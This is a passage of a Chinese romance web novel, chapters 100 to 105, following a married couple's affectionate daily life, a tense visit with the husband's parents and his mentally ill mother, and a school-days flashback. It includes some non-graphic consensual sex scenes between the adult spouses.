《暗恋他的第十一年春》 第100章 热恋期 沈珠楹第二天睡到中午才起来。 她意识清醒过来的时候,傅斯灼正搂着她,还在睡觉,呼吸声很均匀。 沈珠楹盯着他身上密密麻麻的暧昧痕迹看了一眼,脸默默红了。 她注意到他的肩上,昨天被她咬的地方,甚至流了血,此时已经结痂了。 内心又开始悄悄浮现一层愧疚。 但是……活该!! 然后她又近距离地盯着男人看了一会儿,注意到他眼底一层青黑,在男人白皙干净的面庞上异常明显。 傅斯灼。 怎么会这么辛苦呢? 窗外下了一场大雨,噼里啪啦打在窗户上,无端惹人昏睡。 沈珠楹轻轻点了点他的鼻尖,又靠进男人怀里,安安稳稳地睡了过去。 再次醒来就已经是晚上了,她床的另一边已经空了。 而她此时又渴又饿。 床头柜上放了一杯水,沈珠楹一口气喝了大半杯,温度倒是刚刚好。 她又摸了摸肚子。 太饿了太饿了太饿了,真的太饿了。 昨晚她几乎消耗了全部体力,并且已经快一天没吃饭了。 沈珠楹觉得她现在饿得能吃下一头牛。 她急吼吼地穿上拖鞋,正要下楼去冰箱里拿点吃的,就发现厨房里传来炒菜声。 沈珠楹走过去,发现傅斯灼穿了一件宽松的蓝色毛衣搭黑裤,正在厨房做菜。 他现在甚至能游刃有余地颠勺。 沈珠楹立刻跑到餐厅,果不其然,餐桌上已经摆满了她爱吃的菜。 沈珠楹此时简直感动得涕泪横流。 难怪说要抓住一个女人的心就要先抓住她的胃。 她现在简直想以身相许了。 沈珠楹抽出一双筷子,二话不说直接塞了两块糖醋排骨放嘴里,然后缓缓呼出一口气。 活过来了。 傅斯灼手里端着一碗红烧肉走过来的时候,桌上的菜已经被她吃了一小半了。 姑娘低着脑袋,还在全神贯注地啃排骨。 傅斯灼把菜放桌上,盛了一碗菌菇汤放在她面前,无奈笑道:“你慢点吃。” “我好饿啊傅斯灼。” 沈珠楹又端起菌菇汤,仰着头,“咕咚咕咚——”一口气喝完,可怜巴巴地说道。 傅斯灼捏了捏她的脸,坦然道:“我的错。” “下次我们可以——” “先吃再做。” 沈珠楹惊恐地睁大眼:“……” 吃完饭以后,外面的雨已经停了,两个人出去散步消食。 沈珠楹小嘴叭叭叭,一脸气愤地跟他讲这几天遇上的那几个奇葩客人。 傅斯灼牵着她的手轻轻摩挲,偶尔跟着她一起吐槽。 “傅斯灼,难道你出国……就没有遇到什么奇葩的甲方吗?”吐槽完毕并且得到了良好情绪价值的沈珠楹仰头问他。 傅斯灼想到了什么,额角跳了跳,语气都多了几分咬牙切齿:“那可太多了。” 奇葩的要求简直一箩筐。 “那你这个……能说吗?”沈珠楹压低了声音,犹犹豫豫地道,“这算不算……国家机密。” “算。”傅斯灼垂眸笑了,无奈道,“这个得保密。” “不然你老公得进局子。” “那你别说了,晚上睡觉的时候,也千万不要说梦话。”沈珠楹忧心忡忡又一本正经地道,“你泄密了,可能只是进局子,我要是知道了,说不定得被砍脑袋。” “……” 傅斯灼哑然。 沈珠楹又说:“傅斯灼,当你老婆真的好危险啊。” “你看看我为你冒了多大的险!” “……” “行。”傅斯灼偏着头笑了一会儿,拖长了嗓音,开口道,“珠珠老婆真是辛苦了。” 沈珠楹一脸认真地点头:“你知道就好,明天很闲吧,记得去我店里帮忙,拿你这个人抵债好了。” 头顶上,水洗过的月亮格外清晰,挂在天上,还在持之以恒地发光。 “没工资吗?”傅斯灼牵着她的手,揣进自己的大衣口袋,踩着脚下的落叶,不紧不慢地问。 “你还想要工资?”沈珠楹不可思议。 “不然呢?你想招黑工啊珠珠老板。” “那完了,珠珠老板要进局子喽。” 男人的声音在月色中又浓又哑,却化着裹不开柔意。 “傅斯灼你给我滚!” 沈珠楹没忍住,笑着,踹了他一脚。 “你才进局子呢,你全家都进局子!” 骂完才意识到,她不小心把自己也骂进去了。 于是沈珠楹自以为气势十足的瞪他一眼,提前提防道:“你不准笑!” 傅斯灼本来没想笑。 他视线慢条斯理地定格在她身上,三秒后,没忍住。 “噗嗤——” 他偏过头,肆无忌惮地笑出了声,甚至肩膀都在颤。 太可爱了。 “傅斯灼!” 沈珠楹气得不行,又踹他一脚。 —— 第二天,傅司长站在前台磨咖啡,剪花枝,老老实实地开始打黑工,不是,打工还债了。 这时候花店里的客人还不算多。 沈珠楹此刻躺在藤椅上,正在不急不缓地撸猫,手边上还有一杯傅斯灼刚磨好的爱心拉丝咖啡,整个人要多悠闲有多悠闲。 从傅斯灼的角度看过去,浅绿色纱帘飘动着,而小姑娘毛茸茸的脑袋此刻正无比得意地晃着,偶尔还一本正经地朝他喊道。 “新来的那个,我会一直盯着你,千万别想着偷懒嗷,不然扣你工资。” “我还有工资?”傅斯灼低头拉花,抽空回她,“打算给多少啊珠珠老板。” “你想得美,那叫贷款上班!”沈珠楹的声音无情地像个资本家。 “……” 一旁的小春和小桃一脸疑惑地看着这一幕,不明白他们又在玩什么莫名其妙的游戏。 老板夫不是本来一有空就会过来帮忙吗? 有客人看出两人的疑惑,朝她们摆了摆手,一副看不过去的样子,在纸条上写道:“你们不用管这个,小情侣的把戏罢了。” “……” “尤其还是这种正在热恋期的小情侣。”客人是个母胎solo,平等地看不惯并攻击每一对甜蜜小情侣。 她继续愤愤写道:“最讨人嫌了!” “……” 小春和小桃疑惑对视。 什么叫热恋期? 小春作为一名迫切想脱单的单身人士,孜孜不倦地上网进行搜索,开始了自己的学习之旅。 搜索完毕,她的脸上开始绽放出一个大大的笑容。 太好了! 百度上说,情侣的热恋期一般只有三个月! 也就是说,三个月以后,珠珠老板和小桃的对象就都会自动消失了! 那就不用她再费劲巴拉地找一个对象消掉了! 第101章 不对,你不是阿灼 但是…… 小春犹犹豫豫地看了一眼异常帅气的老板夫。 他长得这么帅,人又这么好,要是消失了,珠珠老板会伤心的吧。 小桃的对象消失,小桃也会很伤心的。 就像当年爸爸消失的时候,她就特别特别伤心。 于是小春默默地开始祈祷,希望珠珠老板跟老板夫,还有小桃跟她对象之间的热恋期能够很长很长。 为了避免他们消失,她就不找对象了。 临近打烊的时候,小春一本正经地用手语跟傅斯灼比划道。 “老板夫,希望你跟珠珠老板的热烈相爱时期很长很长哦。” 热烈相爱时期? 傅斯灼愣住几秒,这才明白她说的是什么意思。 他扯唇笑了,朝她认真比划道:“谢谢,我们会一直相爱。” 花店打烊后,两个人直接开车去了老宅,打算陪奶奶吃晚饭。 来开门的王姨看见傅斯灼,明显愣了一下,还带了几分慌乱。 “傅先生,您怎么今天过来了?” 平常两个人都是周六周日过来。 “刚出差回来。” 傅斯灼拧了下眉,不太明白为什么王姨是这个表情。 一旁的沈珠楹猜测道:“难道是奶奶带着她的十六春回老宅了?” 不好意思让他们见? 王姨擦了擦脸上不存在的冷汗,说:“太太您真幽默。” 她侧开身子,小声道:“是傅先生,您的父母今天从国外回来了。” 刚刚还在屋内,还跟老太太吵了一架呢。 傅斯灼牵着她的手紧了紧,眼底笑意逐渐湮没。 沈珠楹紧张地咽了下口水,看向傅斯灼:“你爸妈回来了?” “完了完了,我还什么东西都没买呢。” 就手里抱着一束白玉兰,还是送给老太太的。 “要不我们先……” 她话还没说完,周老太太的声音就从里头平静地传了过来。 “珠珠,阿灼,快进来,奶奶有事跟你们说。” “……” —— 这还是沈珠楹第一次看见傅斯灼的父亲。 他坐在沙发上,西装革履,神色威严,五官轮廓俊朗深邃,从骨子里透出来一股不怒自威。 跟当年那张照片相比,他头发白了许多,脸上也添了许多皱纹。 但是……看着却莫名更凶了。 傅斯灼牵着她的手,把她护到身后。 傅珩看到他这个动作,一瞪眼,语气更凶。 “怎么,老子还能吃了你媳妇儿不成?” “说不定。”他语调很淡。 “欸,你小子——” 傅斯灼冷眼看向他这位好久不见的父亲,神色生疏冷淡。 两人对峙着,谁也没说话,不像是父子,倒像是仇人。 最终还是周老太太出手打破了僵局。 她一个爆栗砸傅珩脑袋上,冷哼道:“愣着干嘛,说话啊?每天板着一张脸,跟老娘欠你钱一样!” “你要是把我家珠珠给吓走了,我就算拼了这条老命也跟你没完!” “妈。”傅珩无奈地看自己老母亲一眼,“刚刚是谁先不好好说话的?” 他说完这句,清咳一声,绕开傅斯灼的视线,转而看向躲在傅斯灼身后的姑娘,僵着一张脸说:“你就是傅……我儿子娶的姑娘?” 语气依然很冷。 周清兰又一个爆栗。 “不会说话就说重点。” “咳咳……” 傅珩从一旁拿出一个不起眼的黑色礼盒递过来,对她说道:“你跟阿灼结婚这么久了,我跟他妈一直也都待着国外没个表示,这份礼物,就算是叔……爸爸妈妈给你的见面礼,千万要收下。” 沈珠楹眨了下眼,看向傅斯灼。 傅斯灼朝她轻轻点头。 周清兰赶忙附和道:“珠珠,你就收下吧,这东西也不值钱的。” “谢谢爸。” 沈珠楹果断改口,眉眼弯弯,笑着把礼物收下了。 “我今天来得匆忙,都没来得及给您跟妈妈准备见面礼,改天过来,一定给你们补上。” “我跟你妈倒不差……” 周清兰一瞪眼,傅珩改口道:“那就麻烦你了。” “不麻烦。” 沈珠楹说完这句,气氛又安静下来。 她咬着唇,悄悄看了傅斯灼一眼。 男人紧抿着唇,眼睫轻垂,看不清神色。 但是沈珠楹能感受到,他现在心情不太好。 “阿灼,阿灼,你别拦着我,我要去见我的阿灼,刚刚我都听到声音了……” 楼上突然传来女人殷切又急促地呼喊,她推开拦住她的佣人,随即急匆匆地下楼声响起。 听到这道声音,傅斯灼身体僵了僵,第一反应是背过身去。 沈珠楹抬眼看去,只见楼上跌跌撞撞地跑下来一个女人。 女人一头浓密的黑发用翡翠簪子盘成发髻,穿了一身天青色旗袍,五官清丽又婉约。 沈珠楹几乎一眼就认出来了,这是傅斯灼的妈妈。 因为她看上去很年轻,跟当年那张照片相比,几乎没什么区别,甚至脸色更加红润,看得出来被人照顾得很好。 她没穿鞋子,就这么光着脚跑下了楼,看见背对着她的傅斯灼,眼睛便一亮。 “阿灼……妈妈总算找到你了……”她跑过来,径自抓住傅斯灼的手腕,仰着头,眼神很干净,笑得像个孩子,“阿灼,这么多年了,我总算找到你了。” “这些年……你去哪儿了,怎么也不来看妈妈,妈妈一直……很想你啊,阿灼……” 见傅斯灼一直侧头不看她,陈婉君有些着急。 “你转过头来看看妈妈啊,你不想我吗?” 傅斯灼沉默片刻,还是没转身,开口的声音很哑:“我也很想您,妈。” 一旁的傅珩神色浮现出几分急躁,他站起身,想要将妻子抱走,被周清兰眼睛一瞪,没敢动弹。 主要是这些年,老太太一个人待在国内,他这个做儿子的,心里有愧。 而此时的陈婉君情绪终于平静下来。 她一脸温和地道:“那你转过身,让妈妈看看。” 傅斯灼沉默片刻,才终于转过身。 陈婉君盯着他那张脸看了好几秒,随即脸上的笑意僵住,手一松,整个人就往后退了几步,摇着头道:“不对,你不是阿灼。” “你在模仿阿华。”她说。 “真正的阿灼和阿华,被你弄到哪里去了,我好久没看见他们了?”她看着他,语气多了几分质问。 第102章 亲手杀死了阿灼 傅斯灼启唇,想说些什么,最终却也没说。 他重新转过身,再次背对着她,从头到尾,一言不发地承受。 “我的儿子……我的两个儿子,怎么都不见了?” 陈婉君缓缓蹲下去,整个人埋入膝盖,声音有几分哽咽:“他们跑去哪里了,我找不到他们了,我找了他们……好久好久,怎么不见了。” 傅珩最终还是抱着陈婉君上了楼。 而傅斯灼站在原地,陷入了长久的缄默。 沈珠楹抬眸看他,有些不知所措,不知道该如何安慰。 许久,傅斯灼偏过头,轻碰她的脸颊,哑道:“你陪着奶奶,我上楼还有点事,好吗?” 沈珠楹点了点头。 她盯着望着傅斯灼的背影慢慢远去,不知道为什么,想到了他来买白玫瑰的那个下雨天,那样孤独而又沉默地,走了好长一段路。 沈珠楹低下脑袋,怔怔望着虚空处,许久也没说话。 有些伤口没办法愈合的。 但是…… 周清兰当着她的面,慢慢把那个其貌不扬的黑盒子打开了。 一整套祖母绿四件套整整齐齐地摆放在那个其貌不扬的盒子里,差点没闪瞎沈珠楹的眼睛。 “这也……太贵重了……”沈珠楹目瞪口呆。 这起码得上亿了吧。 有钱人的世界她真的想象不到。 周清兰一脸慈爱地道:“珠珠喜欢就好。” “不用管价钱。” “你刚刚也看见了。”周老太太的语气里多了几分自嘲与怅然,“我们傅家真的穷得,只剩下钱了。” “珠珠等一下想去见见婉君吗?不用害怕,她大多数时候,都是很正常的,只是偶尔……” 周清兰默了片刻,笑着摸了摸她的脑袋:“总之,她一定会很喜欢我们珠珠的。” 沈珠楹略微有些犹豫:“可是……妈妈好像不能见生人,这样会不会加重她的病情?” “你怎么会是生人呢?你是亲人啊珠珠。” 于是沈珠楹就这样被周老太太哄着上了楼。 陈婉君的房间在三楼最里面,门是特制的,可以从门外的玻璃窗处看到里面的情形。 陈婉君这时候坐在落地窗旁边的躺椅上,窗外下了一层厚厚的雪。 她身上盖了一层毯子,神色很漠然,一言不发。 而傅珩半蹲在她旁边,握着她的手,仰头说着什么,神色完全不似刚刚的威严冷漠。 看上去……有几分恳求。 但陈婉君始终一言不发。 大概又过了二十几分钟,傅珩出来了。 他看了一眼站在旁边的沈珠楹,叹了口气说:“婉君不能见生人,您就别刺激她了。” 这次决定回国,他也是沉思良久,做了好久的准备。 “你可拉倒吧,婉君就是不想见你,你看看她刚刚理你了吗?” “……妈。” “你老了,婉君看着一张年轻漂亮的脸才高兴。”周清兰毫不留情地说。 “……” 于是沈珠楹就这样进去了。 她小心翼翼地蹲在陈婉君面前,弯出一抹笑:“婉君姐姐,我叫沈珠楹,我们能交个朋友吗?” 她朝陈婉君伸出手。 陈婉君盯着她看了一会儿,拧着眉说:“我们不是朋友,我也不是你姐姐。” “……” 好无情。 沈珠楹还没来得及感到挫败,下一秒,陈婉君就凑近一些,闻了闻她身上的味道,眼睛便一亮,笑着说道:“我们是……婆媳。” 沈珠楹睁大了双眼:“……” 这都能闻出来? “你是……花精灵,我们阿灼说,他长大以后是要娶花精灵回家的。” “所以……”陈婉君缓缓握住她的手,一脸认真地道,“你是我们阿灼的老婆。” 见沈珠楹迟迟不说话,陈婉君拧了下眉:“你不信吗?” “我有证据的。” 她走到书柜处,翻了半天,终于从角落里翻出一本破破烂烂的童话书,然后兴奋地朝她招了招手。 “花精灵,你快过来看啊。” “我给我们阿灼讲睡前故事,他就一直缠着我说要娶花精灵,要娶花精灵。” 沈珠楹走过去,看见了这本童话书,然后缓缓掀开书页。 这本书讲了这样一个故事。 ““从前,在一个充满魔法和奇迹的森林里,住着一位花精灵。” “她全身散发着淡淡的花香,穿着由花瓣编织的衣裳,头上戴着一朵闪耀的玫瑰。” “她交了一位好朋友,叫小孔雀。” “有一天,森林里来了一名恶毒的女巫……”” 沈珠楹盯着书上的某一页,看着看着,突然笑着抹了把泪,小声嘟囔了一句“傻子”。 是小小的傅斯灼用稚嫩的笔迹在写——“傅斯灼在此立誓,长大以后会娶花精灵为妻。” “妻”字写错了,他划掉,又重写。 傻子。 笨死了,连妻子的“妻”都不会写。 回家以后她会强迫他写一百遍。 “但是儿媳妇,你平时一定要小心一点喔。”陈婉君把这本书递给她,小心翼翼地道,“你一定要保护好自己。” 她说:“你身边有杀人犯。” 沈珠楹脸上的笑意僵住:“什么?” 陈婉君一字一顿,一脸笃定地重复:“你身边有杀人犯。” “就是他。” 她突然指向门外。 而此时,傅斯灼正站在门外的玻璃窗边看着,眼底还有笑意。 下一秒,他注意到陈婉君手指了过来,赶忙侧开脑袋。 男人的动作像是做了千百遍,如此熟练,却仍然有掩饰不住的慌乱,且狼狈。 可是陈婉君却仍然指着他,一脸平静地说道:“他是杀人犯。” “是他亲手杀死了阿灼。” 沈珠楹手里还拿着童话书,唇角的笑意却早已彻底敛平。 她望着眼前这名女士,傅斯灼的母亲,想跟她反驳,想要大喊,甚至……想要不顾形象地谩骂。 不,不是的,他不是杀人犯,您不能这样说他。 您是他最爱的妈妈,您不能这样说他。 却又突然哑然,一动不动,眼眶却红了。 她不能,因为她知道,这是傅斯灼最爱的,陈婉君女士。 沈珠楹想起了,她在十六岁那年,跟傅斯灼的第二次交集,是在母亲节。 —— 彼时距离烟火晚会已经过了差不多大半个学期。 十五六岁的少男少女最是心性不定。 而印在沈珠楹心底,原本以为难以磨灭的那个令人惊艳的少年,竟然随着时间的流逝,已经缓缓淡化了。 毕竟,对于当时的沈珠楹来说,少女惊鸿一瞥的心动,远远比不过学校门口突然换地方了的烤冷面摊子。 烤冷面摊子不出摊了还是其次,更令沈珠楹感到挫败的是,她的数学再一次不及格了。 第103章 陈婉君女士 屋漏偏逢连夜雨…… 对,那天是真的下雨了。 一场瓢泼大雨,伴随着由春入夏的凉意,重重地砸了下来。 而沈珠楹当天正在去花店的路上,打算给沈桉买一束康乃馨。 她一看突然下了大雨,就赶忙把书包抱在身前,避免里面的书被淋湿,然后微低着头,正打算一鼓作气跑到不远处的花店里去时—— 一辆异常嚣张的亮蓝色跑车迎面驶了过来。 “哗啦——”一下驶过,沈珠楹当时跟那辆车隔了一条绿化带,但就是那么凑巧,那辆车溅起的水花,不偏不倚,全溅在她的书包上了。 沈珠楹转头看了一眼那辆嚣张离去的跑车,又低头看了一眼自己的书包,想要打骂,最终还是作罢。 她情绪还算稳定地叹了一口气。 人怎么能倒霉成这样? 沈珠楹又往前跑了几步,进了花店,朝花店老板高声喊道:“卿卿姐,麻烦您给我包一束康乃馨。” 说完这句,她赶忙把书包打开,果不其然,里面的书都湿透了,数学试卷上鲜红的“53”却仍然鲜艳夺目。 这就是她努力了大半年的光荣战绩。 假如满分是100分的话,她会为这个成绩而感到骄傲。 可是这试卷她爹的满分是一百五啊! 人怎么能菜成这样! “哎呦,珠珠,你怎么淋成这样了?”老板拿了一条干净的围巾递给她,一脸心疼地道,“快擦一擦。” 沈珠楹看了一眼老板递过来的白色毛巾,又看了一眼自己全是肮脏泥水的藏青色百褶裙和书包,摇了摇头说:“谢谢,但我不用,等一下直接回去洗澡就行,您能给我包一束康乃馨吗?” “珠珠你晚了一步啊。” “最后一束康乃馨刚刚被一个小伙子买走了,小伙子帅得哟,看他穿的校服,好像也是你们附中的。” 老板还在默默回味刚刚过来的那个男高中生。 啧啧,嫩得呦! 笑起来还有酒窝! 而沈珠楹则异常失落地低下了头。 好吧,人倒霉起来就是这样的。 沈珠楹垂睫,吸了吸鼻子,努力遏制住眼睛里的酸意。 “要不来束萱草花?意义也是一样的。”老板回过神,赶忙道。 “不用了,谢谢姐姐,我再去别的店子里看看。” 她说完这句,转身就跑了,只留下花店老板在后面徒劳地喊:“珠珠!下这么大的雨,你在我这儿拿把伞啊,实在不行,你去旁边的屋檐下躲躲啊!” 哪有这么傻乎乎往路上跑的。 她当然不懂十六七岁小姑娘心底那种倔强又幼稚的小心思。 就比如沈珠楹。 她此时淋着大雨,四十五度角仰望天空,是有点小忧郁和文青病的。 这破雨他爹的有种把我淋死啊! 淋不死我的都会使我更强大! 沈珠楹淋着大雨走了几步,又抹了把眼泪,过几分钟,蹲在地上,哭了。 太令人难过了。 为什么周琴琴没听过数学课都比我高两分,她那么坏,还扔了我送给她的石榴花。 为什么卖烤冷面的老爷爷今天突然就不卖了。 为什么那个破富二代的蓝色跑车那么丑! 最最最最重要的是,为什么她恰好没买到最后那束康乃馨!!! 这条街上此时没什么人经过。 而沈珠楹蹲在地上哭,情绪崩溃得有点儿突然。 过了不知道多久,她感觉雨停了,于是仰头看去。 一把白色的透明伞稳稳撑在了她的上方。 视线再往下,少年清俊的脸映入眼帘,他偏头看她,问:“哭够了?” 沈珠楹眨了下眼,点点头,又摇摇头,只觉得,这个人的声音真的好好听啊。 然后,她抹了把眼泪,视野逐渐清晰。 淦! 这不是……她的初次心动对象嘛! 救命,她现在好丑! 于是沈珠楹默默又把自己埋了进去。 看不见我看不见我看不见我…… 呜呜呜呜,人倒霉起来就是这样的。 而头顶传来叹气声。 “那你慢慢哭,我还有事,就先不奉陪了。” 少年缓缓俯身,骨节分明的手,把那把透明雨伞搭在她肩头,又把手里的那束浅粉色康乃馨塞入她怀里,对她说:“节日快乐。” 搭在她肩上的伞差点掉落,沈珠楹着急忙慌地扶正,再偏头看过去,只见少年穿着附中校服,背着黑色斜挎包,衣角跃动,在滂沱大雨中奔跑,离她越来越远。 少年的背影渐渐远去,慢慢变成了一个白点,可是沈珠楹再次记起来那个在舞台上肆意跃动着鼓点的少年。 他似乎不再是一个代表青春的,高高在上的符号,而终于真真切切地存在于她的生活里。 他叫傅斯灼。 沈珠楹眨了下眼睛,低头看着怀里的这束康乃馨。 花里面还有一张纸条。 少年的字迹干净有力。 To:陈婉君女士 祝陈婉君女士母亲节快乐,身体健康,新书大卖。 最爱你的 傅斯灼 当时她就在想,陈婉君,这个名字真好听啊,听着就温婉有书生气。 他的妈妈是作家吗? 能养出这样美好的少年,陈婉君女士一定很漂亮,也很善良。 而在今天,沈珠楹站在陈婉君女士面前,看见她指着傅斯灼,说他是个杀人犯。 所以……你要怎么释怀这七年呢,傅斯灼。 —— 回程的路上有些安静。 这是沈珠楹第一次,陷入了彻底的沉默。 她脑子嗡嗡地响,什么也没听清。 傅斯灼中途似乎试图跟她搭话,但她没听清,于是就没回。 继续保持沉默。 直到车倒入车库,满目黑暗,她听到傅斯灼对她说了声:“对不起。” 沈珠楹当时脑子里乱成一团,下意识地就回了句“没关系”。 再然后她意识到傅斯灼是在跟她道歉。 于是她看向他,声音更轻地,努力不带上哭腔,问:“你为什么要跟我说对不起?” “没想到会让你碰到今天这件事,是不是不开心了?”他在黑暗中摸索着,牵过她的手,手指冰凉,她看不清他的神色,只觉得他的声音又低又温柔,“今天晚上想吃什么?” “你在哄我吗,傅斯灼?”她更安静了,问。 “是。”傅斯灼回。 那么这些年,你不开心的时候,是谁在哄你呢? “你跟我说对不起……” 沈珠楹顿了顿,想说——“那谁跟你说对不起呢?傅斯灼。” 但是傅斯灼很快,几乎是在下一秒就开口道:“对不起。” 毫不犹豫又一如既往的,含有一万分真挚。 第 104 章 你是我所有的惊喜与好运 沈珠楹盯着他,一双眸子在黑夜中湿漉漉的,然后说:“傅斯灼,我亲亲你吧。” 傅斯灼于是解开安全带,俯身过来跟她接吻,这是第一次,他的唇很冰凉,手也冰凉。 但是很快,车厢内的温度慢慢升高,紊乱急促的呼吸声也渐渐响起。 两个人都很热,心跳声急促又剧烈。 他们接吻的姿势也变了,傅斯灼解开她的安全带,掐着她的腰让她半跪在他的腿上,他仰着头,而她俯身,托着他硬朗清晰的下颚,就这样亲他。 细密暧昧的啄吻声,愈发沉闷而又大胆,濒临失控的边缘。 于是傅斯灼不轻不重地揉了一下她的腰,低低喘息着问:“想先吃饭,还是……” 两个人对视。 沈珠楹就这样直直地望进了傅斯灼的眼底最深处。 他年少时有一双极为坦荡干净的眼睛。 如今也是。 “我们先做。” 沈珠楹低头,略显急促地,再次吻上他的唇。 这是一场温柔到极致的性爱。 沈珠楹搂住他的脖子,甚至还能分出心去跟他闲聊,很偶尔的,会发出小猫一样的轻哼声。 她喜欢问他一些天马行空的问题。 傅斯灼冷白修长的手指插入她汗湿的发,轻轻揉着,思考十几秒,然后缓声给她回答。 “傅斯灼,你知道人倒霉起来,能惨成什么样吗?” “什么样?” 傅斯灼仰靠在床头,干脆把她搂进怀里,然后克制着看向她,眼尾都红了,声音又低又哑:“自己动?” “才不要,好累的。” 沈珠楹抱着他,下巴懒洋洋搭在他肩头,然后说:“人倒霉的时候,就是会下雨天没有伞,数学不及格,吃不到烤冷面,书也被弄湿,还抢不到花店里的最后一束花。” “人最倒霉的时候,大概就是会倒霉成这样。”她看向他,问,“你呢?” “我啊?”傅斯灼停了,温柔又暧昧地垂眸看她,最后低声说,“没什么倒霉的时候。” “我运气其实……还不错。” “骗人。”沈珠楹眼睛红了,事实上是流眼泪了,她把泪水都擦在傅斯灼身上,小声嘟囔一句,“傅斯灼,你骗人。” “不骗你。” 傅斯灼重新开始动,看她哭个没完,只好偏过头,跟她接吻,裹着咸涩的泪水,彼此的心跳声都很剧烈。 一吻过后,沈珠楹逐渐喘不过气来,冲击力也加大,她这会儿眼神开始变散,已经顾不上哭了。 但眼角还是有泪流下来,是生理性眼泪。 傅斯灼带着她换了个姿势,扣住她白皙的手腕,人也缓慢压下来。 沈珠楹不自觉仰头,有一瞬间地失声,思绪搅碎。 “傅斯灼。”她声音轻飘飘的。 “嗯,沈珠楹,是我。” 傅斯灼低颈,昏黄的灯光下,两人的影子映在墙壁上,暧昧又真实地纠缠。 男人凑到她耳边,一字一顿地,声音喘得很性感。 他说:“正相反,老婆,我运气很好。” 不论之前发生过什么,至少我现在的运气,好极了。 沈珠楹吸了吸鼻子,听明白了他的意思。 然后她捧着男人的脸,一脸认真地道。 “傅斯灼,我就是在我觉得最倒霉的时候,遇见了你。” 虽然你可能早已忘记了那个下雨天,甚至忘记了那个在下雨天肆意奔跑的少年。 但是也没有关系,你只需要知道—— “你是我所有的惊喜与好运。” 才不是什么杀人犯。 这样糟糕的词汇。 傅斯灼盯着她看了一会儿,眼底的情意缓慢流淌着,最终他抵在她的肩窝,低声喊她:“宝宝。” 他隐隐察觉到她眼睛里刻意隐藏的,某种浓烈到灼人的情绪。 是什么呢? 为什么在此刻不愿意跟他分享呢? 他低下头,与她十指相扣,然后一路往下吻,对她说,宝宝,那我们再来一次。 —— 第二次结束的时候,沈珠楹看了一眼床头柜的时间。 这时候是晚上九点二十三分。 傅斯灼在这时候吻她,问:“晚上想吃点什么?” “吃火锅吧,好久没吃了。”沈珠楹其实有点困了,她抱着男人劲瘦的腰,含糊说道,“先去洗个澡。” 一切收拾妥当以后,两个人下了楼。 傅斯灼先在网上下单了一些火锅食材,再抱着那只百无聊赖的橘猫,跟沈珠楹一起去了她的宝贝花房。 沈珠楹一进花房就两眼放光,这里蹿蹿,那里蹿蹿。 这里浇点儿水,那里施点儿肥。 上回傅斯灼去非洲带回来的植物已经快开花了,此时结了许多嫩黄色的小花苞。 沈珠楹蹲下去,点了点它,笑得眉眼弯弯。 傅斯灼这会儿在菜地里摘菜。 他把大胖橘放下,拍了拍它圆滚滚的身子,一脸慷慨大方地道:“想吃什么自己摘。” 猪猪低头,看了一眼自己的小胖爪,又看了一眼菜园里长势喜人的菜,呲了下牙,对它爹无语了。 是谁跟你说我们单身猫一族是素食主义者的!!! 摘完菜回到别墅的时候,正好火锅食材也送到了。 铜炉锅支起来,久违的“咕噜咕噜——”声再次响起。 窗外仍然下着雪,这让沈珠楹莫名有点再次穿越回那天晚上的感觉。 但是与上回不同的是…… 沈珠楹在一旁摘着小白菜,幽幽盯着在一旁熟练切鱼片的男人。 她现在已经不是厨房的主导者了。 以及……傅斯灼今天穿了一件深蓝色的毛衣,是上回她在网上给他买的,穿上去少了几分成熟矜贵,多了几分温暖与少年感。 天知道傅斯灼刚搬进她卧室的时候,沈珠楹望着他衣帽间里那一溜的黑色和灰色衣服有多无语。 这么帅的男人就是要什么颜色和款式的衣服都试试看啊! “傅斯灼,你穿绿色的衣服是不是也挺好看的啊?” 傅斯灼眼尾轻挑:“你确定?” “确定啊。”沈珠楹一副理所当然地样子,“下回我去网上买绿色卫衣情侣装!” “好。”傅斯灼弯唇,无声笑了。 吃火锅的时间被两人拉得很长,室外雪花一片片飘落,室内却温暖如春。 他们吃着火锅,天南地北的,什么都能聊,聊生活,聊工作,聊未来,不知为何,却颇为默契地没有谈及过往。 大概是因为知道这是一道尚未愈合的疤,一碰就生疼。 后来他们转移场地,坐在地毯上,沈珠楹仰靠在傅斯灼怀里,电视上放了一部韩国纪录片,叫《亲爱的,不要跨过那条江》。 第105章 我亲爱的 沈珠楹当时是直接按评分高低选的,另一个就是……她很喜欢这个名字。 但是看到一半,她其实有点后悔点开了,因为这是一部关于生与死的,很沉重的纪录片。 讲述的是九十八岁的爷爷和八十九岁的奶奶生活的点点滴滴。 他们是一对共同走过彼此人生七十六年的伴侣,而影片记录了爷爷临终前的最后十五个月。 他们穿一样颜色的衣服,手牵着手去砍柴,逛街,扫雪,岁月虽然没有在他们的爱情里留下任何破坏的痕迹,却仍然可以那样残忍地为他们的爱情故事画下终止符。 沈珠楹在纪录片过半的时候暂停了影片,然后一言不发地埋进傅斯灼怀里。 她吸了吸鼻子,感觉眼泪有点不受控制了。 因为他听到里面的那个九十八岁的老爷爷说:“人生和花和树叶都是一样的,我是树叶就在春天茂盛生长,在夏天享受雨水的拍打,到了秋天,就会随着岁月流逝枯萎衰败,归于虚无。” 于是似乎就这样,从这句话里,看到了他们爱情的结局。 “片子没选好。”沈珠楹声音低低的,有几分哽咽,随即把鼻涕眼泪都擦在男人身上。 傅斯灼垂睫,神色还算平静,他一下一下抚摸着姑娘白皙柔软的后颈,然后问:“想换一部片子看吗?” 沈珠楹摇了摇头,说:“不想看了,我有点困了。” 于是傅斯灼抱着她上了楼。 临睡的时候,傅斯灼轻拍她的背,低声给她唱歌。 他唱陈奕迅的《富士山下》,唱到“谁能凭爱意要富士山私有”,总是会静静看着她的眼睛。 沈珠楹一开始还盯着他看,慢慢地,眼皮就越来越沉重,最后她打了个哈欠,小声地问了他一个问题。 她问:“傅斯灼,假如,我是说假如,假如以后我们变得很老很老了,你会希望,我们谁先过那条江?” 沈珠楹那个时候已经很困了,她闭着眼睛,整个人都被圈在男人怀里,昏昏沉沉地,仍然强撑着想要一个答案。 但是傅斯灼把她的助听器摘了,然后轻吻她的额头。 这个动作他重复了很多遍。 她有时候会睁开眼,悄悄看他的口型,知道他通常会在这个时候对她说:“晚安,珠珠。” 她以为他在今晚,他仍然是跟她说这句话,于是沈珠楹慢慢睡着了。 但其实不是的。 傅斯灼当时俯身吻她的额头,轻声对她说:“我会比你晚几天过江的,珠珠。” 因为我亲爱的,独自一个人活着,并不是一件好事。 —— 沈桉在第二天下午来店里找她了。 她一脸神秘地拉着沈珠楹进了休息间,然后从包里拿出了一个奇形怪状的东西。 “这是什么?” 